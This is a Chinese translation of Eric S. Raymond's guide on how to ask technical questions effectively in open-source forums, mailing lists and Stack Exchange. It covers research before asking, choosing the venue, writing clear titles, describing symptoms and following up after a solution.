如何避免扮演失败者 不该问的问题 好问题与蠢问题 如果得不到回答 如何更好地回答问题 相关资源 鸣谢 声明 许多项目在他们网站的帮助文档中链接了本指南。这很好,这正是我们想要的用途。但如果你是该项目管理员并试图创建指向本指南的超链接,请在超链接附近的显著位置注明: 本指南不提供此项目的实际支持服务! 我们已经深刻领教到缺少上述声明所带来的痛苦:我们将不停地被那些认为发布这本指南就意味着有责任解决世上所有技术问题的傻瓜苦苦纠缠。 如果你因寻求某些帮助而阅读本指南,并在离开时还觉得可以从本文作者这里得到直接帮助,那你就是我们之前说的那些傻瓜之一。别问我们问题,我们只会忽略你。我们在这本指南中想教你如何从那些真正懂得你所遇到的软件或硬件问题的人处取得协助,而 99% 的情况下那不会是我们。除非你确定本指南的作者之一刚好是你所遇到的问题领域的专家,否则请不要打扰我们,这样大家都会开心一点。 简介 在黑客的世界里,当你拋出一个技术问题时,最终是否能得到有用的回答,往往取决于你所提问和追问的方式。本指南将教你如何正确地提问以获得你满意的答案。 现在开源(Open Source)软件已经相当盛行,您通常可以从其他更有经验的用户那里获得与黑客一样好的答案,这是件好事;和黑客相比,用户们往往对那些新手常遇到的问题更宽容一些。尽管如此,以我们在此推荐的方式对待这些有经验的用户通常也是从他们那里获得有用答案的最有效方式。 首先你应该明白,黑客们喜爱有挑战性的问题,或者能激发他们思维的好问题。如果我们并非如此,那我们也不会成为你想询问的对象。如果你给了我们一个值得反复咀嚼玩味的好问题,我们自会对你感激不尽。好问题是激励,是厚礼。好问题可以提高我们的理解力,而且通常会暴露我们以前从没意识到或者思考过的问题。对黑客而言,“好问题!”是诚挚的大力称赞。 尽管如此,黑客们有着蔑视或傲慢面对简单问题的坏名声,这有时让我们看起来对新手、无知者似乎较有敌意,但其实不是那样的。 我们不讳言我们对那些不愿思考、或者在发问前不做他们该做的事的人的蔑视。那些人是时间杀手 —— 他们只想索取,从不付出,消耗我们可用在更有趣的问题或更值得回答的人身上的时间。我们称这样的人为 失败者(撸瑟) (由于历史原因,我们有时把它拼作 lusers)。 我们意识到许多人只是想使用我们写的软件,他们对学习技术细节没有兴趣。对大多数人而言,电脑只是种工具,是种达到目的的手段而已。他们有自己的生活并且有更要紧的事要做。我们认可这点,也从不指望每个人都对这些让我们着迷的技术问题感兴趣。尽管如此,我们只为那些真正有兴趣并愿意积极参与问题解决的人调整回答问题的风格。这点不会变,也不该变:否则,我们就是在最擅长的事情上降低效率。 我们(在很大程度上)是自愿的,从繁忙的生活中抽出时间来解答疑惑,而且时常被提问淹没。所以我们无情地滤掉一些话题,特别是拋弃那些看起来像失败者的家伙,以便更高效地利用时间来回答赢家(winner)的问题。 如果你厌恶我们的态度,高高在上,或过于傲慢,不妨也设身处地想想。我们并没有要求你向我们屈服 —— 事实上,我们大多数人非常乐意与你平等地交流,只要你付出小小努力来满足基本要求,我们就会欢迎你加入我们的文化。但让我们帮助那些不愿意帮助自己的人是没有效率的。无知没有关系,但装白痴就是不行。 所以,你不必在技术上很在行才能吸引我们的注意,但你必须表现出能引导你变得在行的特质 —— 机敏、有想法、善于观察、乐于主动参与解决问题。如果你做不到这些使你与众不同的事情,我们建议你花点钱找家商业公司签个技术支持服务合同,而不是要求黑客个人无偿地帮助你。 如果你决定向我们求助,当然你也不希望被视为失败者,更不愿成为失败者中的一员。能立刻得到快速并有效答案的最好方法,就是像赢家那样提问 —— 聪明、自信、有解决问题的思路,只是偶尔在特定的问题上需要获得一点帮助。 (欢迎对本指南提出改进意见。你可以把你的建议发送至 esr@thyrsus.com 或 respond-auto@linuxmafia.com。然而请注意,本文并非网络礼节的通用指南,而我们通常会拒绝无助于在技术论坛得到有用答案的建议)。 在提问之前 在你准备要通过电子邮件、新闻群组或者聊天室提出技术问题前,请先做到以下事情: 尝试在你准备提问的论坛的旧文章中搜索答案。 尝试上网搜索以找到答案。 尝试阅读手册以找到答案。 尝试阅读常见问题文件(FAQ)以找到答案。 尝试自己检查或试验以找到答案。 向你身边的强者朋友打听以找到答案。 如果你是程序开发者,请尝试阅读源代码以找到答案。 当你提出问题的时候,请先表明你已经做了上述的努力;这将有助于树立你并不是一个不劳而获且浪费别人的时间的提问者。如果你能一并表达在做了上述努力的过程中所学到的东西会更好,因为我们更乐于回答那些表现出能从答案中学习的人的问题。 运用某些策略,比如先用 Google 搜索你所遇到的各种错误信息(搜索 Google 论坛和网页),这样很可能直接就找到了能解决问题的文件或邮件列表线索。即使没有结果,在邮件列表或新闻组寻求帮助时加上一句 我在 Google 中搜过下列句子但没有找到什么有用的东西 也是件好事,即使它只是表明了搜索引擎不能提供哪些帮助。这么做(加上搜索过的字串)也让遇到相似问题的其他人能被搜索引擎引导到你的提问来。 别着急,不要指望几秒钟的 Google 搜索就能解决一个复杂的问题。在向专家求助之前,再阅读一下常见问题文件(FAQ)、放轻松、坐得舒服一些,再花点时间思考一下这个问题。相信我们,他们能从你的提问看出你做了多少阅读与思考,如果你是有备而来,将更有可能得到解答。不要将所有问题一股脑拋出,只因你的第一次搜索没有找到答案(或者找到太多答案)。 准备好你的问题,再将问题仔细地思考过一遍,因为草率的发问只能得到草率的回答,或者根本得不到任何答案。越是能表现出在寻求帮助前你为解决问题所付出的努力,你越有可能得到实质性的帮助。 小心别问错了问题。如果你的问题基于错误的假设,某个普通黑客(J. Random Hacker)多半会一边在心里想着蠢问题…,一边用无意义的字面解释来答复你,希望着你会从问题的回答(而非你想得到的答案)中汲取教训。 绝不要自以为够格得到答案,你没有;你并没有。毕竟你没有为这种服务支付任何报酬。你将会是自己去挣到一个答案,靠提出有内涵的、有趣的、有思维激励作用的问题 —— 一个有潜力能贡献社区经验的问题,而不仅仅是被动地从他人处索取知识。 另一方面,表明你愿意在找答案的过程中做点什么是一个非常好的开端。谁能给点提示?、我的这个例子里缺了什么?以及我应该检查什么地方比请把我需要的确切的过程贴出来更容易得到答复。因为你表现出只要有人能指个正确方向,你就有完成它的能力和决心。 当你提问时 慎选提问的论坛 小心选择你要提问的场合。如果你做了下述的事情,你很可能被忽略掉或者被看作失败者: 在与主题不合的论坛上贴出你的问题。 在探讨进阶技术问题的论坛张贴非常初级的问题;反之亦然。 在太多的不同新闻群组上重复转贴同样的问题(cross-post)。 向既非熟人也没有义务解决你问题的人发送私人电邮。 黑客会剔除掉那些搞错场合的问题,以保护他们沟通的渠道不被无关的东西淹没。你不会想让这种事发生在自己身上的。 因此,第一步是找到对的论坛。再说一次,Google 和其它搜索引擎还是你的朋友,用它们来找到与你遭遇到困难的软硬件问题最相关的网站。通常那儿都有常见问题(FAQ)、邮件列表及相关说明文件的链接。如果你的努力(包括阅读 FAQ)都没有结果,网站上也许还有报告 Bug(Bug-reporting)的流程或链接,如果是这样,链过去看看。 向陌生的人或论坛发送邮件最可能是风险最大的事情。举例来说,别假设一个提供丰富内容的网页的作者会想充当你的免费顾问。不要对你的问题是否会受到欢迎做太乐观的估计 —— 如果你不确定,那就向别处发送,或者压根别发。 在选择论坛、新闻群组或邮件列表时,别太相信它的名字,先看看 FAQ 或者许可书以弄清楚你的问题是否切题。发文前先翻翻已有的话题,这样可以让你感受一下那里的文化。事实上,事先在新闻组或邮件列表的历史记录中搜索与你问题相关的关键词是个极好的主意,也许这样就找到答案了。即使没有,也能帮助你归纳出更好的问题。 别像机关枪似的一次“扫射”所有的帮助渠道,这就像大喊大叫一样会使人不快。要一个一个地来。 搞清楚你的主题!最典型的错误之一是在某种致力于跨平台可移植的语言、套件或工具的论坛中提关于 Unix 或 Windows 操作系统程序界面的问题。如果你不明白为什么这是大错,最好在搞清楚这之间差异之前什么也别问。 一般来说,在仔细挑选的公共论坛中提问,会比在私有论坛中提同样的问题更容易得到有用的回答。有几个理由可以支持这点,一是看潜在的回复者有多少,二是看观众有多少。黑客较愿意回答那些能帮助到许多人的问题。 可以理解的是,老练的黑客和一些热门软件的作者正在接受过多的错发信息。就像那根最后压垮骆驼背的稻草一样,你的加入也有可能使情况走向极端 —— 已经好几次了,一些热门软件的作者由于涌入其私人邮箱的大量不堪忍受的无用邮件而不再提供支持。 Stack Overflow 搜索,然后在 Stack Exchange 问。 近年来,Stack Exchange 社区已经成为回答技术及其他问题的主要渠道,尤其是那些开放源码的项目。 因为 Google 索引是即时的,在看 Stack Exchange 之前先在 Google 搜索。有很高的几率某人已经问了一个类似的问题,而且 Stack Exchange 网站们往往会是搜索结果中最前面几个。如果你在 Google 上没有找到任何答案,你再到特定相关主题的网站去找。用标签(Tag)搜索能让你更缩小你的搜索结果。 如果你还是找不到任何对你的问题有用的内容,请把你的问题发在与它最相关的网站上。提问的时候请善用格式化工具,尤其注意为代码添加格式,并且添加相关的标签(特别是编程语言、操作系统或库/包的名称)。当有人要求你提供更多相关信息时,请编辑你的贴子来补充它们[译注:而不是发一个回帖或回答!]。如果你觉得一个答案对你有帮助,点击向上的箭头来为它投票;如果一个答案提供了问题的正确解决方案,点击投票按钮下方的对勾来将它标记为正解。 Stack Exchange 已经成长到超过一百个网站,以下是最常用的几个站: Super User 是问一些通用的电脑问题,如果你的问题跟代码或是写程序无关,只是一些网络连线之类的,请到这里。 Stack Overflow 是问写程序有关的问题。 Server Fault 是问服务器和网管相关的问题。 网站和 IRC 论坛 本地的用户群组(user group),或者你所用的 Linux 发行版本也许正在宣传他们的网页论坛或 IRC 频道,并提供新手帮助(在一些非英语国家,新手论坛很可能还是邮件列表),这些都是开始提问的好地方,特别是当你觉得遇到的也许只是相对简单或者很普通的问题时。有广告赞助的 IRC 频道是公开欢迎提问的地方,通常可以即时得到回应。 事实上,如果程序出的问题只发生在特定 Linux 发行版提供的版本(这很常见),最好先去该发行版的论坛或邮件列表中提问,再到程序本身的论坛或邮件列表提问。(否则)该项目的黑客可能仅仅回复“使用我们的版本”。 在任何论坛发文以前,先确认一下有没有搜索功能。如果有,就试着搜索一下问题的几个关键词,也许这会有帮助。如果在此之前你已做过通用的网页搜索(你也该这样做),还是再搜索一下论坛,搜索引擎有可能没来得及索引此论坛的全部内容。 通过论坛或 IRC 频道来提供用户支持服务有增长的趋势,电子邮件则大多为项目开发者间的交流而保留。所以最好先在论坛或 IRC 中寻求与该项目相关的协助。 在使用 IRC 的时候,首先最好不要发布很长的问题描述,有些人称之为频道洪水。最好通过一句话的问题描述来开始聊天。 第二步,使用项目邮件列表 当某个项目提供开发者邮件列表时,要向列表而不是其中的个别成员提问,即使你确信他能最好地回答你的问题。查一查项目的文件和首页,找到项目的邮件列表并使用它。有几个很好的理由支持我们采用这种办法: 任何好到需要向个别开发者提出的问题,也将对整个项目群组有益。反之,如果你认为自己的问题对整个项目群组来说太愚蠢,那这也不能成为骚扰个别开发者的理由。 向列表提问可以分散开发者的负担,个别开发者(尤其是项目领导人)也许太忙以至于没法回答你的问题。 大多数邮件列表都会被存档,那些被存档的内容将被搜索引擎索引。如果你向列表提问并得到解答,将来其他人可以通过网页搜索找到你的问题和答案,也就不用再次发问了。 如果某些问题经常被问到,开发者可以利用此信息来改进说明文件或软件本身,以使其更清楚。如果只是私下提问,就没有人能看到最常见问题的完整场景。 如果一个项目既有“用户”也有“开发者”(或“黑客”)邮件列表或论坛,而你又不会动到那些源代码,那么就向“用户”列表或论坛提问。不要假设自己会在开发者列表中受到欢迎,那些人多半会将你的提问视为干扰他们开发的噪音。 然而,如果你确信你的问题很特别,而且在“用户”列表或论坛中几天都没有回复,可以试试前往“开发者”列表或论坛发问。建议你在张贴前最好先暗地里观察几天以了解那里的行事方式(事实上这是参与任何私有或半私有列表的好主意) 如果你找不到一个项目的邮件列表,而只能查到项目维护者的电子邮件地址,尽管向他发信。即使是在这种情况下,也别假设(项目)邮件列表不存在。在你的电子邮件中,请陈述你已经试过但没有找到合适的邮件列表,也提及你不反对将自己的邮件转发给他人(许多人认为,即使没什么秘密,私人电子邮件也不应该被公开。通过允许将你的电子邮件转发他人,你给了相应人员处置你邮件的选择)。 使用有意义且描述明确的标题 在邮件列表、新闻群组或论坛中,大约 50 字以内的标题是抓住资深专家注意力的好机会。别用喋喋不休的帮帮忙、跪求、急(更别说救命啊!!!!这样让人反感的话,用这种标题会被条件反射式地忽略)来浪费这个机会。不要妄想用你的痛苦程度来打动我们,而应该是在这点空间中使用极简单扼要的描述方式来提出问题。 一个好标题范例是目标 —— 差异式的描述,许多技术支持组织就是这样做的。在目标部分指出是哪一个或哪一组东西有问题,在差异部分则描述与期望的行为不一致的地方。 蠢问题:救命啊!我的笔记本电脑不能正常显示了! 聪明问题:X.org 6.8.1 的鼠标指针会变形,某牌显卡 MV1005 芯片组。 更聪明问题:X.org 6.8.1 的鼠标指针,在某牌显卡 MV1005 芯片组环境下 - 会变形。 编写目标 —— 差异 式描述的过程有助于你组织对问题的细致思考。是什么被影响了? 仅仅是鼠标指针或者还有其它图形?只在 X.org 的 X 版中出现?或只是出现在 6.8.1 版中? 是针对某牌显卡芯片组?或者只是其中的 MV1005 型号? 一个黑客只需瞄一眼就能够立即明白你的环境和你遇到的问题。 总而言之,请想像一下你正在一个只显示标题的存档讨论串(Thread)索引中查寻。让你的标题更好地反映问题,可使下一个搜索类似问题的人能够关注这个讨论串,而不用再次提问相同的问题。 如果你想在回复中提出问题,记得要修改内容标题,以表明你是在问一个问题, 一个看起来像 Re: 测试 或者 Re: 新 bug 的标题很难引起足够重视。另外,在不影响连贯性之下,适当引用并删减前文的内容,能给新来的读者留下线索。 对于讨论串,不要直接点击回复来开始一个全新的讨论串,这将限制你的观众。因为有些邮件阅读程序,比如 mutt ,允许用户按讨论串排序并通过折叠讨论串来隐藏消息,这样做的人永远看不到你发的消息。 仅仅改变标题还不够。mutt 和其它一些邮件阅读程序还会检查邮件标题以外的其它信息,以便为其指定讨论串。所以宁可发一个全新的邮件。 在网页论坛上,好的提问方式稍有不同,因为讨论串与特定的信息紧密结合,并且通常在讨论串外就看不到里面的内容,故通过回复提问,而非改变标题是可接受的。不是所有论坛都允许在回复中出现分离的标题,而且这样做了基本上没有人会去看。不过,通过回复提问,这本身就是暧昧的做法,因为它们只会被正在查看该标题的人读到。所以,除非你只想在该讨论串当前活跃的人群中提问,不然还是另起炉灶比较好。 使问题容易回复 以请将你的回复发送到……来结束你的问题多半会使你得不到回答。如果你觉得花几秒钟在邮件客户端设置一下回复地址都麻烦,我们也觉得花几秒钟思考你的问题更麻烦。如果你的邮件程序不支持这样做,换个好点的;如果是操作系统不支持这种邮件程序,也换个好点的。 在论坛,要求通过电子邮件回复是非常无礼的,除非你认为回复的信息可能比较敏感(有人会为了某些未知的原因,只让你而不是整个论坛知道答案)。如果你只是想在有人回复讨论串时得到电子邮件提醒,可以要求网页论坛发送给你。几乎所有论坛都支持诸如追踪此讨论串、有回复时发送邮件提醒等功能。 使用清晰、正确、精准且合乎语法的语句 我们从经验中发现,粗心的提问者通常也会粗心地写程序与思考(我敢打包票)。回答粗心大意者的问题很不值得,我们宁愿把时间耗在别处。 正确的拼写、标点符号和大小写是很重要的。一般来说,如果你觉得这样做很麻烦,不想在乎这些,那我们也觉得麻烦,不想在乎你的提问。花点额外的精力斟酌一下字句,用不着太僵硬与正式 —— 事实上,黑客文化很看重能准确地使用非正式、俚语和幽默的语句。但它必须很准确,而且有迹象表明你是在思考和关注问题。 正确地拼写、使用标点和大小写,不要将its混淆为it's,loose搞成lose或者将discrete弄成discreet。不要全部用大写,这会被视为无礼的大声嚷嚷(全部小写也好不到哪去,因为不易阅读。Alan Cox 也许可以这样做,但你不行)。 更白话的说,如果你写得像是个半文盲[译注:小白],那多半得不到理睬。也不要使用即时通信中的简写或火星文,如将的简化为d会使你看起来像一个为了少打几个键而省字的小白。更糟的是,如果像个小孩似地鬼画符那绝对是在找死,可以肯定没人会理你(或者最多是给你一大堆指责与挖苦)。 如果在使用非母语的论坛提问,你可以犯点拼写和语法上的小错,但决不能在思考上马虎(没错,我们通常能弄清两者的分别)。同时,除非你知道回复者使用的语言,否则请使用英语书写。繁忙的黑客一般会直接删除用他们看不懂的语言写的消息。在网络上英语是通用语言,用英语书写可以将你的问题在尚未被阅读就被直接删除的可能性降到最低。 如果英文是你的外语(Second language),提示潜在回复者你有潜在的语言困难是很好的: [译注:以下附上原文以供使用] English is not my native language; please excuse typing errors. 英文不是我的母语,请原谅我的错字或语法。 If you speak $LANGUAGE, please email/PM me; I may need assistance translating my question. 如果你说某语言,请向我发电邮/私信; 我需要有人协助我翻译我的问题。 I am familiar with the technical terms, but some slang expressions and idioms are difficult for me. 我对技术名词很熟悉,但对于俗语或是特别用法不甚了解。 I’ve posted my question in $LANGUAGE and English. I’ll be glad to translate responses, if you only use one or the other. 我把我的问题用某语言和英文写出来。 如果你只用其中的一种语言回答,我会乐意将回复翻译成为你使用的语言。 使用易于读取且标准的文件格式发送问题 如果你人为地将问题搞得难以阅读,它多半会被忽略,人们更愿读易懂的问题,所以: 使用纯文字而不是 HTML (关闭 HTML 并不难)。 使用 MIME 附件通常是可以的,前提是真正有内容(譬如附带的源代码或 patch),而不仅仅是邮件程序生成的模板(譬如只是信件内容的拷贝)。 不要发送一段文字只是一行句子但自动换行后会变成多行的邮件(这使得回复部分内容非常困难)。设想你的读者是在 80 个字符宽的终端机上阅读邮件,最好设置你的换行分割点小于 80 字。 但是,对一些特殊的文件不要设置固定宽度(譬如日志文件拷贝或会话记录)。数据应该原样包含,让回复者有信心他们看到的是和你看到的一样的东西。 在英语论坛中,不要使用Quoted-Printable MIME 编码发送消息。这种编码对于张贴非 ASCII 语言可能是必须的,但很多邮件程序并不支持这种编码。当它们处理换行时,那些文本中四处散布的=20符号既难看也分散注意力,甚至有可能破坏内容的语意。 绝对,永远不要指望黑客们阅读使用封闭格式编写的文档,像微软公司的 Word 或 Excel 文件等。大多数黑客对此的反应就像有人将还在冒热气的猪粪倒在你家门口时你的反应一样。即便他们能够处理,他们也很厌恶这么做。 如果你从使用 Windows 的电脑发送电子邮件,关闭微软愚蠢的智能引号功能 (从[选项] > [校订] > [自动校正选项],勾选掉智能引号单选框),以免在你的邮件中到处散布垃圾字符。 在论坛,勿滥用表情符号和HTML功能(当它们提供时)。一两个表情符号通常没有问题,但花哨的彩色文本倾向于使人认为你是个无能之辈。过滥地使用表情符号、色彩和字体会使你看来像个傻笑的小姑娘。这通常不是个好主意,除非你只是对性而不是对答案感兴趣。 如果你使用图形用户界面的邮件程序(如微软公司的 Outlook 或者其它类似的),注意它们的默认设置不一定满足这些要求。大多数这类程序有基于选单的查看源代码命令,用它来检查发送文件夹中的邮件,以确保发送的是纯文本文件同时没有一些奇怪的字符。 精确地描述问题并言之有物 仔细、清楚地描述你的问题或 Bug 的症状。 描述问题发生的环境(机器配置、操作系统、应用程序、以及相关的信息),提供经销商的发行版和版本号(如:Fedora Core 4、Slackware 9.1等)。 描述在提问前你是怎样去研究和理解这个问题的。 描述在提问前为确定问题而采取的诊断步骤。 描述最近做过什么可能相关的硬件或软件变更。 尽可能地提供一个可以重现这个问题的可控环境的方法。 尽量去揣测一个黑客会怎样反问你,在你提问之前预先将黑客们可能提出的问题回答一遍。 以上几点中,当你报告的是你认为可能在代码中的问题时,给黑客一个可以重现你的问题的环境尤其重要。当你这么做时,你得到有效的回答的机会和速度都会大大的提升。 Simon Tatham 写过一篇名为《如何有效的报告 Bug》的出色文章。强力推荐你也读一读。 话不在多而在精 你需要提供精确有内容的信息。这并不是要求你简单的把成堆的出错代码或者资料完全转录到你的提问中。如果你有庞大而复杂的测试样例能重现程序挂掉的情境,尽量将它剪裁得越小越好。 这样做的用处至少有三点。 第一,表现出你为简化问题付出了努力,这可以使你得到回答的机会增加; 第二,简化问题使你更有可能得到有用的答案; 第三,在精炼你的 bug 报告的过程中,你很可能就自己找到了解决方法或权宜之计。 别动辄声称找到 Bug 当你在使用软件中遇到问题,除非你非常、非常的有根据,不要动辄声称找到了 Bug。提示:除非你能提供解决问题的源代码补丁,或者提供回归测试来表明前一版本中行为不正确,否则你都多半不够完全确信。这同样适用在网页和文件,如果你(声称)发现了文件的Bug,你应该能提供相应位置的修正或替代文件。 请记得,还有其他许多用户没遇到你发现的问题,否则你在阅读文件或搜索网页时就应该发现了(你在抱怨前已经做了这些,是吧?)。这也意味着很有可能是你弄错了而不是软件本身有问题。 编写软件的人总是非常辛苦地使它尽可能完美。如果你声称找到了 Bug,也就是在质疑他们的能力,即使你是对的,也有可能会冒犯到其中某部分人。当你在标题中嚷嚷着有Bug时,这尤其严重。 提问时,即使你私下非常确信已经发现一个真正的 Bug,最好写得像是你做错了什么。如果真的有 Bug,你会在回复中看到这点。这样做的话,如果真有 Bug,维护者就会向你道歉,这总比你惹恼别人然后欠别人一个道歉要好一点。 低声下气不能代替你的功课 有些人明白他们不该粗鲁或傲慢的提问并要求得到答复,但他们选择另一个极端 —— 低声下气:我知道我只是个可悲的新手,一个撸瑟,但...。这既使人困扰,也没有用,尤其是伴随着与实际问题含糊不清的描述时更令人反感。 别用原始灵长类动物的把戏来浪费你我的时间。取而代之的是,尽可能清楚地描述背景条件和你的问题情况。这比低声下气更好地定位了你的位置。 有时网页论坛会设有专为新手提问的版面,如果你真的认为遇到了初学者的问题,到那去就是了,但一样别那么低声下气。 描述问题症状而非你的猜测 告诉黑客们你认为问题是怎样造成的并没什么帮助。(如果你的推断如此有效,还用向别人求助吗?),因此要确信你原原本本告诉了他们问题的症状,而不是你的解释和理论;让黑客们来推测和诊断。如果你认为陈述自己的猜测很重要,清楚地说明这只是你的猜测,并描述为什么它们不起作用。 蠢问题 我在编译内核时接连遇到 SIG11 错误, 我怀疑某条飞线搭在主板的走线上了,这种情况应该怎样检查最好? 聪明问题 我的组装电脑是 FIC-PA2007 主机板搭载 AMD K6/233 CPU(威盛 Apollo VP2 芯片组), 256MB Corsair PC133 SDRAM 内存,在编译内核时,从开机 20 分钟以后就频频产生 SIG11 错误, 但是在头 20 分钟内从没发生过相同的问题。重新启动也没有用,但是关机一晚上就又能工作 20 分钟。 所有内存都换过了,没有效果。相关部分的标准编译记录如下… 由于以上这点似乎让许多人觉得难以配合,这里有句话可以提醒你:所有的诊断专家都来自密苏里州。 美国国务院的官方座右铭则是:让我看看(出自国会议员 Willard D. Vandiver 在 1899 年时的讲话:我来自一个出产玉米,棉花,牛蒡和民主党人的国家,滔滔雄辩既不能说服我,也不会让我满意。我来自密苏里州,你必须让我看看。) 针对诊断者而言,这并不是一种怀疑,而只是一种真实而有用的需求,以便让他们看到的是与你看到的原始证据尽可能一致的东西,而不是你的猜测与归纳的结论。所以,大方地展示给我们看吧! 按发生时间先后列出问题症状 问题发生前的一系列操作,往往就是对找出问题最有帮助的线索。因此,你的说明里应该包含你的操作步骤,以及机器和软件的反应,直到问题发生。在命令行处理的情况下,提供一段操作记录(例如运行脚本工具所生成的),并引用相关的若干行(如 20 行)记录会非常有帮助。 如果挂掉的程序有诊断选项(如 -v 的详述开关),试着选择这些能在记录中增加调试信息的选项。记住,多不等于好。试着选取适当的调试级别以便提供有用的信息而不是让读者淹没在垃圾中。 如果你的说明很长(如超过四个段落),在开头简述问题,接下来再按时间顺序详述会有所帮助。这样黑客们在读你的记录时就知道该注意哪些内容了。 描述目标而不是过程 如果你想弄清楚如何做某事(而不是报告一个 Bug),在开头就描述你的目标,然后才陈述重现你所卡住的特定步骤。 经常寻求技术帮助的人在心中有个更高层次的目标,而他们在自以为能达到目标的特定道路上被卡住了,然后跑来问该怎么走,但没有意识到这条路本身就有问题。结果要费很大的劲才能搞定。 蠢问题 我怎样才能从某绘图程序的颜色选择器中取得十六进制的 RGB 值? 聪明问题 我正试着用替换一幅图片的色码(color table)成自己选定的色码,我现在知道的唯一方法是编辑每个色码区块(table slot), 但却无法从某绘图程序的颜色选择器取得十六进制的 RGB 值。 第二种提问法比较聪明,你可能得到像是建议采用另一个更合适的工具的回复。 别要求使用私人电邮回复 黑客们认为问题的解决过程应该公开、透明,此过程中如果更有经验的人注意到不完整或者不当之处,最初的回复才能够、也应该被纠正。同时,作为提供帮助者可以得到一些奖励,奖励就是他的能力和学识被其他同行看到。 当你要求私下回复时,这个过程和奖励都被中止。别这样做,让回复者来决定是否私下回答 —— 如果他真这么做了,通常是因为他认为问题编写太差或者太肤浅,以至于不可能使其他人产生兴趣。 这条规则存在一条有限的例外,如果你确信提问可能会引来大量雷同的回复时,那么这个神奇的提问句会是向我发电邮,我将为论坛归纳这些回复。试着将邮件列表或新闻群组从洪水般的雷同回复中解救出来是非常有礼貌的 —— 但你必须信守诺言。 清楚明确地表达你的问题以及需求 漫无边际的提问是近乎无休无止的时间黑洞。最有可能给你有用答案的人通常也正是最忙的人(他们忙是因为要亲自完成大部分工作)。这样的人对无节制的时间黑洞相当厌恶,所以他们也倾向于厌恶那些漫无边际的提问。 如果你明确表述需要回答者做什么(如提供指点、发送一段代码、检查你的补丁、或是其他等等),就最有可能得到有用的答案。因为这会定出一个时间和精力的上限,便于回答者能集中精力来帮你。这么做很棒。 要理解专家们所处的世界,请把专业技能想像为充裕的资源,而回复的时间则是稀缺的资源。你要求他们奉献的时间越少,你越有可能从真正专业而且很忙的专家那里得到解答。 所以,界定一下你的问题,使专家花在辨识你的问题和回答所需要付出的时间减到最少,这技巧对你获得有用的答案相当有帮助 —— 但这技巧通常和简化问题有所区别。因此,问我想更好地理解 X,可否指点一下哪有好一点说明?通常比问你能解释一下 X 吗?更好。如果你的代码不能运作,通常请别人看看哪里有问题,比要求别人替你改正要明智得多。 询问有关代码的问题时 如果没有提示别人应该从何入手,别要求他人帮你调试有问题的代码。张贴几百行的代码,然后说一声:它不能工作会让你完全被忽略。只贴几十行代码,然后说一句:在第七行以后,我期待它显示 <x>,但实际出现的是 <y>比较有可能让你得到回应。 最有效描述程序问题的方法是提供最精简的 Bug 展示测试用例(bug-demonstrating test case)。什么是最精简的测试用例?那是问题的缩影;一小个程序片段能刚好展示出程序的异常行为,而不包含其他令人分散注意力的内容。怎么制作最精简的测试用例?如果你知道哪一行或哪一段代码会造成异常的行为,复制下来并加入足够重现这个状况的代码(例如,足以让这段代码能被编译/直译/被应用程序处理)。如果你无法将问题缩减到一个特定区块,就复制一份代码并移除不影响产生问题行为的部分。总之,测试用例越小越好(查看话不在多而在精一节)。 一般而言,要得到一段相当精简的测试用例并不太容易,但永远先尝试这样做是一个好习惯。这种方式可以帮助你了解如何自行解决这个问题 —— 而且即使你的尝试不成功,黑客们也会看到你在尝试取得答案的过程中付出了努力,这可以让他们更愿意与你合作。 如果你只是想让别人帮忙审查(Review)一下代码,在信的开头就要说出来,并且一定要提到你认为哪一部分特别需要关注以及为什么。 别把自己家庭作业的问题贴上来 黑客们很擅长分辨哪些问题是家庭作业式的问题;因为我们中的大多数都曾自己解决这类问题。同样,这些问题得由你来搞定,你会从中学到东西。你可以要求给点提示,但别要求得到完整的解决方案。 如果你怀疑自己碰到了一个家庭作业式的问题,但仍然无法解决,试试在用户群组,论坛或(最后一招)在项目的用户邮件列表或论坛中提问。尽管黑客们会看出来,但一些有经验的用户也许仍会给你一些提示。 去掉无意义的提问句 避免用无意义的话结束提问,例如有人能帮我吗?或者这有答案吗?。 首先:如果你对问题的描述不是很好,这样问更是画蛇添足。 其次:由于这样问是画蛇添足,黑客们会很厌烦你 —— 而且通常会用逻辑上正确,但毫无意义的回答来表示他们的蔑视, 例如:没错,有人能帮你或者不,没答案。 一般来说,避免用 是或否、对或错、有或没有类型的问句,除非你想得到是或否类型的回答。 即使你很急也不要在标题写紧急 这是你的问题,不是我们的。宣称紧急极有可能事与愿违:大多数黑客会直接删除无礼和自私地企图即时引起关注的问题。更严重的是,紧急这个字(或是其他企图引起关注的标题)通常会被垃圾信过滤器过滤掉 —— 你希望能看到你问题的人可能永远也看不到。 有半个例外的情况是,如果你是在一些很高调,会使黑客们兴奋的地方,也许值得这样去做。在这种情况下,如果你有时间压力,也很有礼貌地提到这点,人们也许会有兴趣回答快一点。 当然,这风险很大,因为黑客们兴奋的点多半与你的不同。譬如从 NASA 国际空间站(International Space Station)发这样的标题没有问题,但用自我感觉良好的慈善行为或政治原因发肯定不行。事实上,张贴诸如紧急:帮我救救这个毛茸茸的小海豹!肯定让你被黑客忽略或惹恼他们,即使他们认为毛茸茸的小海豹很重要。 如果你觉得这点很不可思议,最好再把这份指南剩下的内容多读几遍,直到你弄懂了再发文。 礼多人不怪,而且有时还很有帮助 彬彬有礼,多用请和谢谢您的关注,或谢谢你的关照。让大家都知道你对他们花时间免费提供帮助心存感激。 坦白说,这一点并没有比使用清晰、正确、精准且合乎语法和避免使用专用格式重要(也不能取而代之)。黑客们一般宁可读有点唐突但技术上鲜明的 Bug 报告,而不是那种有礼但含糊的报告。(如果这点让你不解,记住我们是按问题能教给我们什么来评价问题的价值的) 然而,如果你有一串的问题待解决,客气一点肯定会增加你得到有用回应的机会。 (我们注意到,自从本指南发布后,从资深黑客那里得到的唯一严重缺陷反馈,就是对预先道谢这一条。一些黑客觉得先谢了意味着事后就不用再感谢任何人的暗示。我们的建议是要么先说先谢了,然后事后再对回复者表示感谢,或者换种方式表达感激,譬如用谢谢你的关注或谢谢你的关照。) 问题解决后,加个简短的补充说明 问题解决后,向所有帮助过你的人发个说明,让他们知道问题是怎样解决的,并再一次向他们表示感谢。如果问题在新闻组或者邮件列表中引起了广泛关注,应该在那里贴一个说明比较恰当。 最理想的方式是向最初提问的话题回复此消息,并在标题中包含已修正,已解决或其它同等含义的明显标记。在人来人往的邮件列表里,一个看见讨论串问题 X和问题 X - 已解决的潜在回复者就明白不用再浪费时间了(除非他个人觉得问题 X有趣),因此可以利用此时间去解决其它问题。 补充说明不必很长或是很深入;简单的一句你好,原来是网线出了问题!谢谢大家 – Bill比什么也不说要来的好。事实上,除非结论真的很有技术含量,否则简短可爱的小结比长篇大论更好。说明问题是怎样解决的,但大可不必将解决问题的过程复述一遍。 